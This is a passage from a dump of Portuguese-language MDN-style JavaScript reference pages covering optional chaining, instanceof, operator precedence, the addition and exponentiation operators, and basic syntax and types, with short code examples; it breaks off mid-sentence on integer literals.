existir. Isso pode auxiliar, por exemplo, ao utilizar uma API em que o método está indisponível, seja pela época da implementação ou por causa de uma funcionalidade que ainda não está disponível no dispositivo do usuário.\n\nUsar encadeamento opcional com chamadas de função faz com que a expressão automaticamente retorne `undefined` ao invés de lançar uma exceção se o método não é encontrado:\n\n\n```js\nlet result = someInterface.customMethod?.();\n```\n\n\n**Nota:** Se existe uma propriedade com tal nome e que não é uma função, usando `?.` ainda lançará a exceção `TypeError` (`x.y is not a function`).\n\n#### Lidando com callbacks opcionais ou manipuladores de eventos\n\nSe você usa callbacks ou consulta métodos de objetos com atribuição via desestruturação, você pode ter valores não-existentes que você não conseguirá chamar como funções, a menos que você tenha testado sua existência. Usando `?.`, você pode evitar esse teste extra:\n\n\n```js\n// Escrito como ES2019\nfunction doSomething(onContent, onError) {\n  try {\n    // ... faz algo com os dados\n  } catch (err) {\n    if (onError) {\n      // teste se onError realmente existe\n      onError(err.message);\n    }\n  }\n}\n```\n\n\n\n```js\n// Usando encadeamento opcional com chamadas de função\nfunction doSomething(onContent, onError) {\n  try {\n    // ... faz algo com os dados\n  } catch (err) {\n    onError?.(err.message); // Nenhuma exceção se onError for undefined\n  }\n}\n```\n\n### Encadeamento opcional com expressões\n\nVocê também pode usar o operador de encadeamento opcional ao acessar propriedades com uma expressão usando assessores de propriedade:\n\n\n```js\nlet nestedProp = obj?.[\"prop\" + \"Name\"];\n```\n\n### Encadeamento opcional não válido no lado esquerdo de uma atribuição\n\n\n```js\nlet object = {};\nobject?.property = 1; // Uncaught SyntaxError: Invalid left-hand side in assignment\n```\n\n### Acesso a item de Array com encadeamento opcional\n\n\n```js\nlet arrayItem = arr?.[42];\n```\n\nExemplos\n--------\n\n### Exemplo básico\n\nEsse exemplo busca plo valor da propriedade `name` para o membro `bar` em um map quando não existe tal membro. Portanto, o resultado é `undefined`.\n\n\n```js\nlet myMap = new Map();\nmyMap.set(\"foo\", { name: \"baz\", desc: \"inga\" });\n\nlet nameBar = myMap.get(\"bar\")?.name;\n```\n\n### Avaliação com curto-circuito\n\nAo usar o encadeamento opcional com expressões, se o operador do lado esquerdo é `null` ou `undefined`, a expressão não será avaliada. Por exemplo:\n\n\n```js\nlet potentiallyNullObj = null;\nlet x = 0;\nlet prop = potentiallyNullObj?.[x++];\n\nconsole.log(x); // 0 já que x não foi incrementado\n```\n\n### Empilhando o operator de encadeamento opcional\n\nCom estruturadas aninhadas, é possível usar encadeamento opcional múltiplas vezes:\n\n\n```js\nlet customer = {\n  name: \"Carl\",\n  details: {\n    age: 82,\n    location: \"Paradise Falls\", // endereço detalhado é desconhecido\n  },\n};\nlet customerCity = customer.details?.address?.city;\n\n// … isso também funcional com encadeamento opcional em chamada de função\nlet duration = vacations.trip?.getTime?.();\n```\n\n### Combinando com o operador de coalescência nula (nullish coalescing)\n\nO operador de coalescência nula pode ser usado após o encadeamento opcional, para construir um valor padrão quando nada é encontrado:\n\n\n```js\nlet customer = {\n  name: \"Carl\",\n  details: { age: 82 },\n};\nconst customerCity = customer?.city ?? \"Cidade desconhecida\";\nconsole.log(customerCity); // Cidade desconhecida\n```\n\nEspecificações\n--------------\n\n| Specification | Status | Comment |\n| --- | --- | --- |\n| Proposal for the \"optional chaining\" operator | Stage 4 |  |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O Nullish Coalescing Operator\n* TC39 proposals"}
{"title":"instanceof - JavaScript","text":"instanceof\n==========\n\nO operador **`instanceof`** testa se um objeto tem, em seu prototype, a função construtora.Experimente\n-----------\n\nSintaxe\n-------\n```\n\nobjeto instanceof construtor\n```\n\n### Parâmetros\n\n`objeto`\n\nO objeto a ser testado\n\n`construtor`\n\nFunção construtora a ser verificada\n\nDescrição\n---------\n\nO operador instanceof testa a presença da função construtora no prototype do objeto.\n\n\n```js\n// definindo construtores\nfunction C() {}\nfunction D() {}\n\nvar o = new C();\n\n// true, porque: Object.getPrototypeOf(o) === C.prototype\no instanceof C;\n\n// false, porque D.prototype não está no prototype desse objeto\no instanceof D;\n\no instanceof Object; // true, porque:\nC.prototype instanceof Object; // true\n\nC.prototype = {};\nvar o2 = new C();\n\no2 instanceof C; // true\n\n// false, porque C.prototype não está mais no prototype desse objeto\no instanceof C;\n\nD.prototype = new C(); // use inheritance\nvar o3 = new D();\no3 instanceof D; // true\no3 instanceof C; // true\n```\n\n\nNote que o resultado do instanceof pode alterar quando a gente altera o prototype da função construtora. No entanto, a gente não pode alterar (por padrão) o prototype do objeto. Só é possível fazer essa alteração usando a pseudopropriedade \\_\\_proto\\_\\_.\n\n### `instanceof` and multiple context (e.g. frames or windows)\n\nDifferent scope have different execution environments. This means that they have different built-ins (different global object, different constructors, etc.). This may result in unexpected results. For instance, `[] instanceof window.frames[0].Array` will return `false`, because `Array.prototype !== window.frames[0].Array` and arrays inherit from the former. This may not make sense at first but when you start dealing with multiple frames or windows in your script and pass objects from one context to another via functions, this will be a valid and strong issue. For instance, you can securely check if a given object is in fact an Array using `Array.isArray(myObj)`\n\n**Nota:** **Note for Mozilla developers:**\n In code using XPCOM `instanceof` has special effect: `obj instanceof xpcomInterface` (e.g. `Components.interfaces.nsIFile`) calls `obj.QueryInterface(xpcomInterface)` and returns `true` if QueryInterface succeeded. A side effect of such call is that you can use *`xpcomInterface`*'s properties on `obj` after a successful `instanceof` test. Unlike standard JavaScript globals, the test `obj instanceof xpcomInterface`works as expected even if `obj` is from a different scope.\n\n\nExamples\n--------\n\n### Demonstrating that `String` and `Date` are of type `Object` and exceptional cases\n\nThe following code uses `instanceof` to demonstrate that `String` and `Date` objects are also of type `Object` (they are derived from `Object`).\n\nHowever, objects created with the object literal notation are an exception here: Although the prototype is undefined, `instanceof Object` returns `true`.\n\n\n```js\nvar simpleStr = \"This is a simple string\";\nvar myString = new String();\nvar newStr = new String(\"String created with constructor\");\nvar myDate = new Date();\nvar myObj = {};\n\nsimpleStr instanceof String; // returns false, checks the prototype chain, finds undefined\nmyString instanceof String; // returns true\nnewStr instanceof String; // returns true\nmyString instanceof Object; // returns true\n\nmyObj instanceof Object; // returns true, despite an undefined prototype\n({}) instanceof Object; // returns true, same case as above\n\nmyString instanceof Date; // returns false\n\nmyDate instanceof Date; // returns true\nmyDate instanceof Object; // returns true\nmyDate instanceof String; // returns false\n```\n\n### Demonstrating that `mycar` is of type `Car` and type `Object`\n\nThe following code creates an object type `Car` and an instance of that object type, `mycar`. The `instanceof` operator demonstrates that the `mycar` object is of type `Car` and of type `Object`.\n\n\n```js\nfunction Car(make, model, year) {\n  this.make = make;\n  this.model = model;\n  this.year = year;\n}\nvar mycar = new Car(\"Honda\", \"Accord\", 1998);\nvar a = mycar instanceof Car; // retorna true\nvar b = mycar instanceof Object; // retorna true\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-relational-operators |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `typeof`"}
{"title":"Precedência de Operadores - JavaScript","text":"Precedência de Operadores\n=========================\n\nResumo\n------\n\nA precedência de operadores determina a ordem em que os operadores são processados. Operadores com maior precedência são processados primeiro.\n\nUm exemplo simples:\n```\n\n3 + 4 * 5 // returns 23\n```\n\n\nO operador de multiplicação (\"`*`\") tem maior precedência que o operador de adição (\"`+`\") e por isso será executado primeiro.\n\nAssociatividade\n---------------\n\nAssociatividade determina a ordem em que operadores da mesma precedência são processados. Por exemplo, considere a expressão:\n```\n\na OP b OP c\n```\n\n\nAssociatividade à esquerda (esquerda para direita) significa que a expressão será processada como `(a OP b) OP c`, enquanto associatividade à direita (direita para esquerda) significa que será interpretada como `a OP (b OP c)`. Operadores de atribuição são associativos à direita, então você pode escrever:\n```\n\na = b = 5; 5 = b = a\n```\n\n\ncom o resultado esperado que `a` e `b` tenham o valor 5. Isto é porque o operador de atribuição retorna o valor que ele atribuiu. Primeiro, `b` é definido com o valor 5. Então `a` é definido com o valor de `b`.\n\nTabela\n------\n\nA tabela seguinte está ordenada da mais alta (20) para a mais baixa (0) precedência.\n\n| Precedência | Tipo do Operador | Associatividade | Operadores individuais |\n| --- | --- | --- | --- |\n| 20 | Agrupamento | n/a | `( … )` |\n| 19 | Acesso a Membro | esquerda para direita | `… . …` |\n| Acesso a Membro Computado | esquerda para direita | `… [ … ]` |\n| new (en-US)\n (com lista de argumentos)\n  | n/a | `new … ( … )` |\n| 18 | Chamada a Função | esquerda para direita | `… ( … )` |\n| new\n (sem lista de argumentos)\n  | direita para esquerda | `new …` |\n| 17 | Incremento Pós-fixado (en-US) | n/a | `… ++` |\n| Decremento Pós-fixado (en-US) | n/a | `… --` |\n| 16 | NÃO lógico (en-US) | direita para esquerda | `! …` |\n| NÃO bit-a-bit (en-US) | direita para esquerda | `~ …` |\n| Positivo Unário (en-US) | direita para esquerda | `+ …` |\n| Negativo Unário (en-US) | direita para esquerda | `- …` |\n| Incremento Pré-fixado (en-US) | direita para esquerda | `++ …` |\n| Decremento Pré-fixado (en-US) | direita para esquerda | `-- …` |\n| typeof | direita para esquerda | `typeof …` |\n| void | direita para esquerda | `void …` |\n| delete (en-US) | direita para esquerda | `delete …` |\n| 15 | Exponenciação | direita para esquerda | … \\*\\* … |\n| 14 | Multiplicação (en-US) | esquerda para direita | `… * …` |\n| Divisão (en-US) | esquerda para direita | `… / …` |\n| Resto (en-US) | esquerda para direita | `… % …` |\n| 13 | Adição (en-US) | esquerda para direita | `… + …` |\n| Subtração (en-US) | esquerda para direita | `… - …` |\n| 12 | Deslocamento de bits para esquerda (en-US) | esquerda para direita | `… << …` |\n| Deslocamento de bits para direita (en-US) | esquerda para direita | `… >> …` |\n| Deslocamento de bits para direita, sem sinal (en-US) | esquerda para direita | `… >>> …` |\n| 11 | Menor Que (en-US) | esquerda para direita | `… < …` |\n| Menor ou Igual a (en-US) | esquerda para direita | `… <= …` |\n| Maior Que (en-US) | esquerda para direita | `… > …` |\n| Maior ou Igual a (en-US) | esquerda para direita | `… >= …` |\n| in | esquerda para direita | `… in …` |\n| instanceof | esquerda para direita | `… instanceof …` |\n| 10 | Igualdade (en-US) | esquerda para direita | `… == …` |\n| Desigualdade (en-US) | esquerda para direita | `… != …` |\n| Igualdade Estrita (en-US) | esquerda para direita | `… === …` |\n| Desigualdade Estrita (en-US) | esquerda para direita | `… !== …` |\n| 9 | E bit-a-bit (en-US) | esquerda para direita | `… & …` |\n| 8 | OU exclusivo bit-a-bit (en-US) | esquerda para direita | `… ^ …` |\n| 7 | OU bit-a-bit (en-US) | esquerda para direita | `… | …` |\n| 6 | E lógico (en-US) | esquerda para direita | `… && …` |\n| 5 | OU lógico (en-US) | esquerda para direita | `… || …` |\n| 4 | Condicional | direita para esquerda | `… ? … : …` |\n| 3 | Atribuição (en-US) | direita para esquerda | `… = …` |\n| `… += …` |\n| `… -= …` |\n| `… *= …` |\n| `… /= …` |\n| `… %= …` |\n| `… <<= …` |\n| `… >>= …` |\n| `… >>>= …` |\n| `… &= …` |\n| `… ^= …` |\n| `… |= …` |\n| 2 | yield | direita para esquerda | `yield …` |\n| yield\\* | `yield* …` |\n| 1 | Propagação (en-US) | n/a | `...` … |\n| 0 | Vírgula / Sequência | esquerda para direita | `… , …` |"}
{"title":"Adição (+) - JavaScript","text":"Adição (+)\n==========\n\nO operador de adição (`+`) produz a soma de operandos numéricos ou concatenação de strings.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nx + y\n```\n\nDescrição\n---------\n\nO operador de adição está encarregado para duas operações distintas, adição numérica e concatenação de Strings. Ao avaliar, ele primeiro coage ambos os operandos para primitivos chamando a função do objeto `[@@toPrimitive]()`()(com \"default\" como dica), e os métodos valueOf(), e toString(), nessa ordem. Em seguida, são testados os tipos dos dois operandos:\n\n* Se um lado é uma string, o outro operando também é convertido em uma string e eles são concatenados.\n* Se ambos forem BigInts, a adição de BigInt será executada. Se um lado for um BigInt, mas o outro não, um `TypeError` será lançado.\n* Caso contrário, ambos os lados são convertidos em números e a adição numérica é executada.\n\nA concatenação de strings geralmente é considerada equivalente a literais de modelo ou String.prototype.concat(), mas não são. A adição força a expressão a uma chamada *primitive* , que chama `valueOf()` em prioridade; por outro lado, literais de modelo e `concact()` converte a expressão para uma string, que chama `toString()` em prioridade. Se a expressão tiver o método `@@toPrimitive`, a concatenação de strings o chama com \"default\" como dica, enquanto literais de modelo usam \"string\". Isso é importante para objetos que têm diferentes representações de string e primitivas — como Temporal, cujo método `valueOf()` lança.\n\n\n```js\nconst t = Temporal.Now.instant();\n\"\" + t; // Throws TypeError\n`${t}`; // '2022-07-31T04:48:56.113918308Z'\n\"\".concat(t); // '2022-07-31T04:48:56.113918308Z'\n```\n\n\nVocê é aconselhado a não usar \"\" + x para executar a coerção de string.\n\nExemplos\n--------\n\n### Adição numérica\n\n\n```js\n// Number + Number -> adição\n1 + 2; // 3\n// Boolean + Number -> adição\ntrue + 1; // 2\n// Boolean + Boolean -> adição\nfalse + false; // 0\n```\n\n### Concatenação de String\n\n\n```js\n// String + String -> concatenação\n\"foo\" + \"bar\"; // \"foobar\"\n// Number + String -> concatenação\n5 + \"foo\"; // \"5foo\"\n// String + Boolean -> concatenação\n\"foo\" + false; // \"foofalse\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-addition-operator-plus |\n\nCompatibilidade de navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Operador de subtração\n* Operador de divisão\n* Operador de multiplicação (en-US)\n* Operador restante (en-US)\n* Operador de exponenciação\n* Operador de incremento (en-US)\n* Operador de decremento (en-US)\n* Operador de negação unário (en-US)\n* Operador unário plus (en-US)"}
{"title":"Operador Exponencial - JavaScript","text":"Operador Exponencial\n====================\n\nSumário\n-------\n\n O **operador de exponenciação (`**`)** retorna o resultado de elevar o primeiro operando à potência do\n segundo operando. É equivalente ao método `Math.pow`, exceto que também aceita números do tipo BigInt\n como operandos.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nx \\*\\* y;\n```\n\nDescrição\n---------\n\nO operador de exponenciação é associativo à direita: `a ** b ** c` é igual a `a ** (b ** c)`.\n\n Na maioria das linguagens, como PHP, Python e outras que têm um operador de exponenciação `(**)`,\n o operador de exponenciação é definido para ter uma precedência maior do que os operadores unários,\n como o unário `+` e unário `-`, mas há algumas exceções.\n Por exemplo, no Bash, o operador `**` é definido para ter uma precedência menor do que os operadores unários.\n\n Em JavaScript, é impossível escrever uma expressão de exponenciação ambígua.\n Ou seja, você não pode colocar um operador unário (`+ / - / ~ /! / delete / void / typeof`)\n imediatamente antes do número base; fazer isso causará um SyntaxError.\n\n\n```js\n    -2 \\*\\* 2;\n    // // 4 no Bash, -4 em outros idiomas.\n    // Isso é inválido em JavaScript, pois a operação é ambígua.\n\n    -(2 \\*\\* 2);\n    // -4 em JavaScript e a intenção do autor não é ambígua.\n```\n\n\n Observe que algumas linguagens de programação usam o símbolo circunflexo `^` para exponenciação,\n mas o JavaScript usa esse símbolo para o operador `XOR lógico bit a bit`.\n\nExemplos\n--------\n\n### Exponenciação básica\n\n\n```js\n2 \\*\\* 3; // 8\n3 \\*\\* 2; // 9\n3 \\*\\* 2.5; // 15.588457268119896\n10 \\*\\* -1; // 0.1\nNaN \\*\\* 2; // NaN\n```\n\n### Associatividade\n\n\n```js\n2 \\*\\* 3 \\*\\* 2; // 512\n2 \\*\\* (3 \\*\\* 2); // 512\n(2 \\*\\* 3) \\*\\* 2; // 64\n```\n\n### Uso com operadores unários\n\nPara inverter o sinal do resultado de uma expressão de exponenciação:\n\n\n```js\n-(2 \\*\\* 2); // -4\n```\n\n\nPara forçar a base de uma expressão de exponenciação a ser um número negativo:\n\n\n```js\n(-2) \\*\\* 2; // 4\n```\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Operador condicional if\n* Operador de adição\n* Operador de subtração\n* Operador de multiplicação (en-US)\n* Operador de divisão\n* Operador de resto (en-US)\n* Operador de incremento (en-US)\n* Operador de decremento (en-US)\n* Operador de negação unária (en-US)\n* Operador de adição unária (en-US)"}
{"title":"Sintaxe e tipos - JavaScript","text":"Sintaxe e tipos\n===============\n\n* « Previous\n* Next »\n\nEste capítulo trata sobre a sintaxe básica do JavaScript, declarações de variáveis, tipos de dados e literais.\n\nSintaxe básica\n--------------\n\nJavaScript pega emprestado a maior parte de sua sintaxe do Java, mas também é influenciado por Awk, Perl e Python.\n\nJavaScript é **case-sensitive** e usa o conjunto de caracteres **Unicode.** Por exemplo, a palavra Früh (que significa \"cedo\" em Alemão) pode ser usada como nome de variável.\n\n\n```js\nvar Früh = \"foobar\";\n```\n\n\nMas a variável `früh` não é a mesma que `Früh` porque JavaScript é case sensitive.\n\nNo JavaScript, instruções são chamadas de declaração e são separadas por um ponto e vírgula (;). Espaços, tabulação e uma nova linha são chamados de espaços em branco. O código fonte dos scripts em JavaScript são lidos da esquerda para a direita e são convertidos em uma sequência de elementos de entrada como simbolos, caracteres de controle, terminadores de linha, comentários ou espaço em branco. ECMAScript também define determinadas palavras-chave e literais, e tem regras para inserção automática de ponto e vírgula (ASI) para terminar as declarações. No entanto, recomenda-se sempre adicionar ponto e vírgula no final de suas declarações; isso evitará alguns imprevistos. Para obter mais informações, consulte a referência detalhada sobre a gramática léxica do JavaScript.\n\nComentários\n-----------\n\nA sintaxe dos comentários em JavaScript é semelhante como em C++ e em muitas outras linguagens:\n\n\n```js\n// comentário de uma linha\n\n/\\* isto é um comentário longo\n de múltiplas linhas.\n \\*/\n\n/\\* Você não pode, porém, /\\* aninhar comentários \\*/ SyntaxError \\*/\n```\n\nDeclarações\n-----------\n\nExistem três tipos de declarações em JavaScript.\n\n`var`\n\nDeclara uma variável, opcionalmente, inicializando-a com um valor.\n\n`let`\n\nDeclara uma variável local de escopo do bloco, opcionalmente, inicializando-a com um valor.\n\n`const`\n\nDeclara uma constante de escopo de bloco, apenas de leitura.\n\n### Variáveis\n\nVocê usa variáveis como nomes simbólicos para os valores em sua aplicação. O nome das variáveis, chamados de identificadores, obedecem determinadas regras.\n\nUm identificador JavaScript deve começar com uma letra, underline (`_`), ou cifrão (`$`); os caracteres subsequentes podem também ser números (0-9). Devido JavaScript ser case-sensitive, letras incluem caracteres de \"A\" a \"Z\" (maiúsculos) e caracteres de \"a\" a \"z\" (minúsculos).\n\nVocê pode usar a ISO 8859-1 ou caracteres Unicode tal como os identificadores å e ü. Você pode também usar as sequências de escape Unicode como caracteres e identificadores.\n\nAlguns exemplos de nomes legais são `Numeros_visitas`, `temp99`, e `_nome`.\n\n### Declarando variáveis\n\nVocê pode declarar uma variável de três formas:\n\n* Com a palavra chave `var`. Por exemplo, var `x = 42`. Esta sintaxe pode ser usada para declarar tanto variáveis locais como variáveis globais.\n* Por simples adição de valor. Por exemplo, `x = 42`. Isso declara uma variável global. Essa declaração gera um aviso de advertência no JavaScript. Você não deve usar essa variante.\n* Com a palavra chave `let`. Por exemplo, `let y = 13`. Essa sintaxe pode ser usada para declarar uma variável local de escopo de bloco. Veja escopo de variável abaixo.\n### Classificando variáveis\n\nUma variável declarada usando a declaração `var` ou `let` sem especificar o valor inicial tem o valor `undefined`.\n\nUma tentativa de acessar uma variável não declarada resultará no lançamento de uma exceção `ReferenceError`:\n\n\n```js\nvar a;\nconsole.log(\"O valor de a é \" + a); // saída \"O valor de a é undefined\"\nconsole.log(\"O valor de b é \" + b); // executa uma exception de erro de referência (ReferenceError)\n```\n\n\nVocê pode usar `undefined` para determinar se uma variável tem um valor. No código a seguir, não é atribuído um valor de entrada na variável e a declaração `if` será avaliada como verdadeira (`true`).\n\n\n```js\nvar input;\nif (input === undefined) {\n  facaIsto();\n} else {\n  facaAquilo();\n}\n```\n\n\nO valor `undefined` se comporta como falso (`false`), quando usado em um contexto booleano. Por exemplo, o código a seguir executa a função `myFunction` devido o elemento `myArray` ser undefined:\n\n\n```js\nvar myArray = [];\nif (!myArray[0]) myFunction();\n```\n\n\nO valor `undefined` converte-se para `NaN` quando usado no contexto numérico.\n\n\n```js\nvar a;\na + 2; // Avaliado como NaN\n```\n\n\nQuando você avalia uma variável nula, o valor nulo se comporta como 0 em contextos numéricos e como falso em contextos booleanos. Por exemplo:\n\n\n```js\nvar n = null;\nconsole.log(n \\* 32); // a saída para o console será 0.\n```\n\n### Escopo de variável\n\nQuando você declara uma variável fora de qualquer função, ela é chamada de variável *global*, porque está disponível para qualquer outro código no documento atual. Quando você declara uma variável dentro de uma função, é chamada de variável *local*, pois ela está disponível somente dentro dessa função.\n\nJavaScript antes do ECMAScript 6 não possuía escopo de declaração de bloco; pelo contrário, uma variável declarada dentro de um bloco de uma *função* é uma variável local (ou contexto *global*) do bloco que está inserido a função. Por exemplo o código a seguir exibirá 5, porque o escopo de `x` está na função (ou contexto global) no qual `x` é declarado, não o bloco, que neste caso é a declaração `if`.\n\n\n```js\nif (true) {\n  var x = 5;\n}\nconsole.log(x); // 5\n```\n\n\nEsse comportamento é alterado, quando usado a declaração `let` introduzida pelo ECMAScript 6.\n\n\n```js\nif (true) {\n  let y = 5;\n}\nconsole.log(y); // ReferenceError: y não está definido\n```\n\n### Variável de elevação\n\nOutra coisa incomum sobre variáveis em JavaScript é que você pode utilizar a variável e declará-la depois, sem obter uma exceção. Este conceito é conhecido como **hoisting**; variáveis em JavaScript são num sentido \"hoisted\" ou lançada para o topo da função ou declaração. No entanto, as variáveis que são \"hoisted\" retornarão um valor `undefined`. Então, mesmo se você usar ou referir a variável e depois declará-la e inicializá-la, ela ainda retornará undefined.\n\n\n```js\n/\\*\\*\n \\* Exemplo 1\n \\*/\nconsole.log(x === undefined); // exibe \"true\"\nvar x = 3;\n\n/\\*\\*\n \\* Exemplo 2\n \\*/\n// retornará um valor undefined\nvar myvar = \"my value\";\n\n(function () {\n  console.log(myvar); // undefined\n  var myvar = \"local value\";\n})();\n```\n\n\nOs exemplos acima serão interpretados como:\n\n\n```js\n/\\*\\*\n \\* Exemplo 1\n \\*/\nvar x;\nconsole.log(x === undefined); // exibe \"true\"\nx = 3;\n\n/\\*\\*\n \\* Exemplo 2\n \\*/\nvar myvar = \"um valor\";\n\n(function () {\n  var myvar;\n  console.log(myvar); // undefined\n  myvar = \"valor local\";\n})();\n```\n\n\nDevido o hoisting, todas as declarações `var` em uma função devem ser colocadas no início da função. Essa recomendação de prática deixa o código mais legível.\n\n### Variáveis Globais\n\nVariáveis globais são propriedades do *objeto global*. Em páginas web o objeto global é a `window`, assim você pode configurar e acessar variáveis globais utilizando a sintaxe `window.variavel.`\n\nConsequentemente, você pode acessar variáveis globais declaradas em uma janela ou frame ou frame de outra janela. Por exemplo, se uma variável chamada phoneNumber é declarada em um documento, você pode consultar esta variável de um frame como `parent.phoneNumber`.\n\n### Constantes\n\nVocê pode criar uma constante apenas de leitura por meio da palavra-chave `const`. A sintaxe de um identificador de uma constante é semelhante ao identificador de uma variável: deve começar com uma letra, sublinhado ou cifrão e pode conter caractere alfabético, numérico ou sublinhado.\n\n\n```js\nconst PI = 3.14;\n```\n\n\nUma constante não pode alterar seu valor por meio de uma atribuição ou ser declarada novamente enquanto o script está em execução. Deve ser inicializada com um valor.\n\nAs regras de escopo para as constantes são as mesmas para as váriaveis `let` de escopo de bloco. Se a palavra-chave `const` for omitida, presume-se que o identificador represente uma variável.\n\nVocê não pode declarar uma constante com o mesmo nome de uma função ou variável que estão no mesmo escopo. Por exemplo:\n\n\n```js\n// Isto irá causar um erro\nfunction f() {}\nconst f = 5;\n\n// Isto também irá causar um erro.\nfunction f() {\n  const g = 5;\n  var g;\n\n  //declarações\n}\n```\n\nEstrutura de dados e tipos\n--------------------------\n\n### Tipos de dados\n\nO mais recente padrão ECMAScript define sete tipos de dados:\n\n* Seis tipos de dados são os chamados primitivos:\n    + Boolean. `true` e `false`.\n    + null. Uma palavra-chave que indica valor nulo. Devido JavaScript ser case-sensitive, `null` não é o mesmo que `Null`, `NULL`, ou ainda outra variação.\n    + undefined. Uma propriedade superior cujo valor é indefinido.\n    + Number. `42` ou `3.14159`.\n    + String. \"Howdy\"\n    + Symbol (novo em ECMAScript 6). Um tipo de dado cuja as instâncias são únicas e imutáveis.\n* e Object\n\nEmbora esses tipos de dados sejam uma quantidade relativamente pequena, eles permitem realizar funções úteis em suas aplicações. `Objetos` e `funções` são outros elementos fundamentais na linguagem. Você pode pensar em objetos como recipientes para os valores, e funções como métodos que suas aplicações podem executar.\n\n### Conversão de tipos de dados\n\nJavaScript é uma linguagem dinamicamente tipada. Isso significa que você não precisa especificar o tipo de dado de uma variável quando declará-la, e tipos de dados são convertidos automaticamente conforme a necessidade durante a execução do script. Então, por exemplo, você pode definir uma variável da seguinte forma:\n\n\n```js\nvar answer = 42;\n```\n\n\nE depois, você pode atribuir uma string para a mesma variável, por exemplo:\n\n\n```js\nanswer = \"Obrigado pelos peixes...\";\n```\n\n\nDevido JavaScript ser dinamicamente tipado, essa declaração não gera uma mensagem de erro.\n\nEm expressões envolvendo valores numérico e string com o operador +, JavaScript converte valores numérico para strings. Por exemplo, considere a seguinte declaração:\n\n\n```js\nx = \"A resposta é \" + 42; // \"A resposta é 42\"\ny = 42 + \" é a resposta\"; // \"42 é a resposta\"\n```\n\n\nNas declarações envolvendo outros operadores, JavaScript não converte valores numérico para strings. Por exemplo:\n\n\n```js\n\"37\" - 7; // 30\n\"37\" + 7; // \"377\"\n```\n\n### Convertendo strings para números\n\nNo caso de um valor que representa um número está armazenado na memória como uma string, existem métodos para a conversão.\n\n* `parseInt()`\n* `parseFloat()`\n\nparseInt irá retornar apenas números inteiros, então seu uso é restrito para a casa dos decimais. Além disso, é uma boa prática ao usar parseInt incluir o parâmetro da base. O parâmetro da base é usado para especificar qual sistema númerico deve ser usado.\n\nUma método alternativo de conversão de um número em forma de string é com o operador `+` (operador soma):\n\n\n```js\n\"1.1\" + \"1.1\" = \"1.11.1\"\n(+\"1.1\") + (+\"1.1\") = 2.2\n// Nota: Os parênteses foram usados para deixar mais legível o código, ele não é requirido.\n```\n\nLiterais\n--------\n\nVocê usa literais para representar valores em JavaScript. Estes são valores fixados, não variáveis, que você `literalmente` insere em seu script. Esta seção descreve os seguintes tipos literais:\n\n* Array literal\n* Literais boolean\n* Literais de ponto flutuante\n* Inteiros\n* Objeto literal\n* String literal\n### Array literal\n\nUm array literal é uma lista de zero ou mais expressões, onde cada uma delas representam um elemento do array, inseridas entre colchetes (`[]`). Quando você cria um array usando um array literal, ele é inicializado com os valores especificados como seus elementos, e seu comprimento é definido com o número de elementos especificados.\n\nO exemplo a seguir cria um array `coffees` com três elementos e um comprimento de três:\n\n\n```js\nvar coffees = [\"French Roast\", \"Colombian\", \"Kona\"];\n```\n\n\n**Nota:** **Nota :** Um array literal é um tipo de inicializador de objetos. Veja Usando inicializadores de Objetos.\n\nSe um array é criado usando um literal no topo do script, JavaScript interpreta o array cada vez que avalia a expressão que contêm o array literal. Além disso, um literal usado em uma função é criado cada vez que a função é chamada.\n\nArray literal são também um array de objetos. Veja `Array` e Coleções indexadas para detalhes sobre array de objetos.\n\n#### Vírgulas extras em array literal\n\nVocê não precisa especificar todos os elementos em um array literal. Se você colocar duas vírgulas em uma linha, o array é criado com `undefined` para os elementos não especificados. O exemplo a seguir cria um array chamado `fish`:\n\n\n```js\nvar fish = [\"Lion\", , \"Angel\"];\n```\n\n\nEsse array tem dois elementos com valores e um elemento vazio (`fish[0]` é \"Lion\", `fish[1]` é `undefined`, e `fish[2]` é \"Angel\" ).\n\nSe você incluir uma vírgula à direita no final da lista dos elementos, a vírgula é ignorada. No exemplo a seguir, o comprimento do array é três. Não há nenhum `myList[3]`. Todas as outras vírgulas na lista indicam um novo elemento.\n\n**Nota:** **Nota :** Vírgulas à direita podem criar erros em algumas versões de navegadores web antigos, é recomendável removê-las.\n\n\n```js-olint\nvar myList = [\"home\", , \"school\", ];\n```\n\n\nNo exemplo a seguir, o comprimento do array é quatro, e `myList[0]` e `myList[2]` são `undefined`.\n\n\n```js\nvar myList = [, \"home\", , \"school\"];\n```\n\n\nNo exemplo a seguir, o comprimento do array é quatro, e `myList[1]` e `myList[3]` são `undefined`. Apenas a última vírgula é ignorada.\n\n\n```js\nvar myList = [\"home\", , \"school\", ,];\n```\n\n\nEntender o comportamento de vírgulas extras é importante para a compreensão da linguagem JavaScript, no entanto, quando você escrever seu próprio código: declarar explicitamente os elementos em falta como `undefined` vai aumentar a clareza do código, e consequentemente na sua manutenção.\n\n### Literais Boolean\n\nO tipo Boolean tem dois valores literal: `true` e `false`.\n\nNão confunda os valores primitivos Boolean `true` e `false` com os valores `true` e `false` do objeto Boolean. O objeto Boolean é um invólucro em torno do tipo de dado primitivo. Veja `Boolean` para mais informação.\n\n### Inteiros\n\nInteiros podem ser expressos em decimal (base 10), hexadecimal (base 16), octal (base 8) e binário (base 2).\n\n* Decimal inteiro literal consiste em uma sequência de dígitos sem um 0 (zero).\n* 0 (zero) em um inteiro literal indica que ele está em octal. Octal pode incluir somente os dígitos 0-7.\n* 0x (ou 0X) indica um hexadecimal. Inteiros hexadecimais podem incluir dígitos (0-9) e as letras a-f e A-F.\n* 0b (ou 0B) indica um binário. Inteiros binário podem incluir apenas os dígitos 0 e 1.\n\nAlguns exemplos de inteiros literal são:\n```\n\n0, 117 and -345 (decimal, base 10)\n015, 0001 and -077 (octal, base 8)\n0x1123, 0x00111 and -0xF1A7 (hexadecimal, \"hex\" or base 